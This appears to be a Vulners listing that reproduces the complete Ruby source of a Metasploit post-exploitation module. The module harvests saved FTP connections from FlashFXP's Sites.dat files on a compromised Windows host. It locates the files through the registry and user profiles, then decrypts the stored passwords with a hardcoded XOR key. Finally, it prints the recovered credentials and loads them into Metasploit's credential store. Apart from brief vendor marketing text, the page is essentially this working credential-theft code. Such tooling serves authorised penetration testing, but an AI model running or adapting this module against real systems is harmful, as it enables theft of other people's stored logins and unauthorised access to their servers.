Lucene search
K

Windows Gather FlashFXP Saved Password Extraction

🗓️ 10 Aug 2011 17:48:30Reported by theLightCosine <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 31 Views

This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It finds saved FTP connections in the Sites.dat file

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry
  include Msf::Auxiliary::Report
  include Msf::Post::Windows::UserProfiles

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather FlashFXP Saved Password Extraction',
        'Description' => %q{
          This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It
          finds saved FTP connections in the Sites.dat file.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'theLightCosine'],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
            ]
          }
        }
      )
    )
  end

  def run
    # Checks if the Site data is stored in a generic location  for all users
    flash_reg = 'HKLM\\SOFTWARE\\FlashFXP'
    flash_reg_ver = registry_enumkeys(flash_reg.to_s)

    # Ini paths
    @fxppaths = []

    unless flash_reg_ver.nil?
      software_key = "#{flash_reg}\\#{flash_reg_ver.join}"
      generic_path = registry_getvaldata(software_key, 'InstallerDataPath') || ''
      unless generic_path.include? '%APPDATA%'
        @fxppaths << generic_path + '\\Sites.dat'
      end
    end

    grab_user_profiles.each do |user|
      next if user['AppData'].nil?

      tmpath = user['AppData'] + '\\FlashFXP\\'
      get_ver_dirs(tmpath)
    end

    @fxppaths.each do |fxp|
      get_ini(fxp)
    end
  end

  def get_ver_dirs(path)
    session.fs.dir.foreach(path) do |sub|
      next if sub =~ /^(\.|\.\.)$/

      @fxppaths << "#{path}#{sub}\\Sites.dat"
    end
  rescue StandardError
    print_error("The following path could not be accessed or does not exist: #{path}")
  end

  def get_ini(filename)
    config = client.fs.file.new(filename, 'r')
    parse = config.read
    ini = Rex::Parser::Ini.from_s(parse)

    if ini == {}
      print_error("Unable to parse file, may be encrypted using external password: #{filename}")
    end

    ini.each_key do |group|
      host = ini[group]['IP']
      username = ini[group]['user']
      epass = ini[group]['pass']
      port = ini[group]['port']
      next if epass.nil? || (epass == '')

      passwd = decrypt(epass)

      print_good("*** Host: #{host} Port: #{port} User: #{username}  Password: #{passwd} ***")
      service_data = {
        address: Rex::Socket.getaddress(host),
        port: port,
        protocol: 'tcp',
        service_name: 'ftp',
        workspace_id: myworkspace_id
      }

      credential_data = {
        origin_type: :session,
        session_id: session_db_id,
        post_reference_name: refname,
        username: username,
        private_data: passwd,
        private_type: :password
      }

      credential_core = create_credential(credential_data.merge(service_data))

      login_data = {
        core: credential_core,
        access_level: 'User',
        status: Metasploit::Model::Login::Status::UNTRIED
      }

      create_credential_login(login_data.merge(service_data))
    end
  rescue StandardError
    print_status("Either could not find or could not open file #{filename}")
  end

  def decrypt(pwd)
    key = 'yA36zA48dEhfrvghGRg57h5UlDv3'
    pass = ''
    cipher = [pwd].pack('H*')

    (0..cipher.length - 2).each do |index|
      xored = cipher[index + 1, 1].unpack('C').first ^ key[index, 1].unpack('C').first
      if ((xored - cipher[index, 1].unpack('C').first < 0))
        xored += 255
      end
      pass << (xored - cipher[index, 1].unpack('C').first).chr
    end
    return pass
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
0.4Low risk
Vulners AI Score0.4
31